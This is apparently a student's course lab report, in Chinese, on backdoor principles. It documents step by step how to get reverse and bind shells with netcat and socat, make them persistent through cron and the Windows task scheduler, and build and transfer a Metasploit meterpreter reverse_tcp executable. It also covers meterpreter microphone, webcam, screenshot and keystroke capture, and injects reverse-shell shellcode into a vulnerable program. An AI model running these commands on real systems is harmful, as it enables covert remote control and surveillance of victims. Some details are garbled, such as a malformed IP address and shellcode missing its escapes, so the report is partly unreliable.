2019-2020-2 20175301李锦然《网络对抗技术》Exp2 后门原理与实践

2019-2020-2 20175301李锦然《网络对抗技术》Exp2 后门原理与实践#

目录

1.实践目标

(1)使用netcat获取主机操作Shell,cron启动 (0.5分)
(2)使用socat获取主机操作Shell, 任务计划启动 (0.5分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)
(5)可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)加分内容一并写入本实验报告。

2.基础知识

2.1后门知识

后门
后门:是不经过正常认证流程而访问系统的通道,存在与编译器、操作系统、固件和应用中等等。
后门工作流程:程序→植入→运行→免杀。
后门工具

Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。

socat:socat是nc的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

Meterpreter:具有强大的功能,特别是其socks代理。Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回一个我们控制通道,例如利用远程过程带哦用RPC服务的一个漏洞,当漏洞被触发后,我们选择Meterpreter作为攻击载荷,就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更加深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。

3.实验步骤

3.1使用win获取kali shell

在win中使用 ncat.exe -l -p 5301监听
在Linux中使用nc 192.168.1.102 5301 -e/bin/sh指令反弹连接,192.168.1.102为win的IP地址

可以使用ls等指令

3.2使用kali获取win shell

使用ifconfig查询kaliIP地址为192.168.198.128

在Linux中使用nc -l -p 5301开启监听
在win中使用ncat.exe -e cmd.exe 192.168.192.168反弹连接这里的cmd为要打开的文件

3.3在Linux中使用cron定时执行指令

首先在Linux中使用crontab -e指令
在最后一行加上执行时间以及执行命令,我设置在每小时的47分执行反弹连接win的指令47 ****nc 192.168.1.102 5301 -e/bin/sh

指令执行结果

3.4使用nc传输数据以及文件

传输数据
win端使用ncat -l指令即可

传输文件
在被传输端反弹指令后加<"文件名"
传输端监听指令后加>"文件名"

3.5使用socat获取主机shell

socat是一个加强版nc工具
首先右键计算机选择管理在“任务计划程序”中“创建任务”,填写任务名并新建一个触发器。

操作选择新建操作,程序为socat(记得解压),参数为tcp-listen:5301 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口5301,同时把cmd.exe的stderr重定向到stdout上:

为了保险我设置了两个任务,在触发器触发后(选定时间),可以看见任务已经运行了

这时在kali输入socat - tcp:192.168.1.102:5301即可成功获取winshell

3.6使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

运行 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=5301 -f exe > 20175301_backdoor.exe生成可执行文件backdoor.exe,传输至win

在Windows下执行ncat.exe -lv 80 > backdoor.exe 指令,查看当前的连接状态
后面试了很多次5301端口试验都没有成功,后来换成了80端口

在kali中使用nc 192.168.1.102 80 < backdoor.exe传输后门程序,传输成功win10的cmd中会出现传输信息

在Kali上使用msfconsole指令进入msf控制台
set LHOST 192.168.198.128这里是kali地址
set LPORT 80端口
use exploit/multi/handler,设置payload
set payload windows/meterpreter/reverse_tcp
exploit开始监听
在win端运行cmd.exe,获取shell成功

3.7 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

使用record_mic -d 4截取一段音频

使用webcam_snap使用摄像头

使用screenshot截屏

使用keyscan_dump提取鼠标轨迹

3.8使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。

在[这个网站][1]下载reverse文件
注入shellcode(同实验一)
gdb追踪等(同实验一)

在第一个终端中中断pwn1运行
在第二个终端中注入input_shellcode:
perl -e 'print "A" x 32;print"xb0xd6xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
在第一个终端运行msf控制台
set LHOST 192.168.198.128这里是kali地址
set LPORT 80端口
use exploit/multi/handler,设置payload
set payload windows/meterpreter/reverse_tcp
最后运行shellcode

4.实验中遇见的问题以及解决方法

实验中在使用5301端口的时候总是失败,查询后发现5301端口被不知道的程序(极有可能是之前的实验没关掉)占用了,后来改用80端口做实验

重启以后5301又能用了。。
计算机的管理显示没有应用与之对应

这个看起来是注册表问题,之前玩游戏改过注册表,把注册表改回去就好了,或者用一个rat文件,网上有直接出厂设置的补丁。

5.问题回答

1)例举你能想到的一个后门进入到你系统中的可能方式?
点开一个澳门赌场下载一个dubo软件直接运行后门。
(2)例举你知道的后门如何启动起来(win及linux)的方式?
捆绑应用就可以,强大如socat。
(3)Meterpreter有哪些给你映像深刻的功能?
摄像头太恐怖了,现在我电脑摄像头直接物理堵住,主要能用cmd一切皆有可能。
(4)如何发现自己有系统有没有被安装后门?
时刻关注运行列表,多杀毒。看看端口注册表之类的。

6.实验收获与感想

这次实验很简单而且很快乐,没有遇见什么让人崩溃的问题,唯一有问题就是5301端口一直用不了,虽然重启后解决了但是当时没能找出问题感觉很不好,说不定是被黑客占用了,下次试验多多留意这种问题争取当时解决。
[1]:https://www.exploit-db.com/shellcodes

原文地址:https://www.cnblogs.com/lijinran/p/12516001.html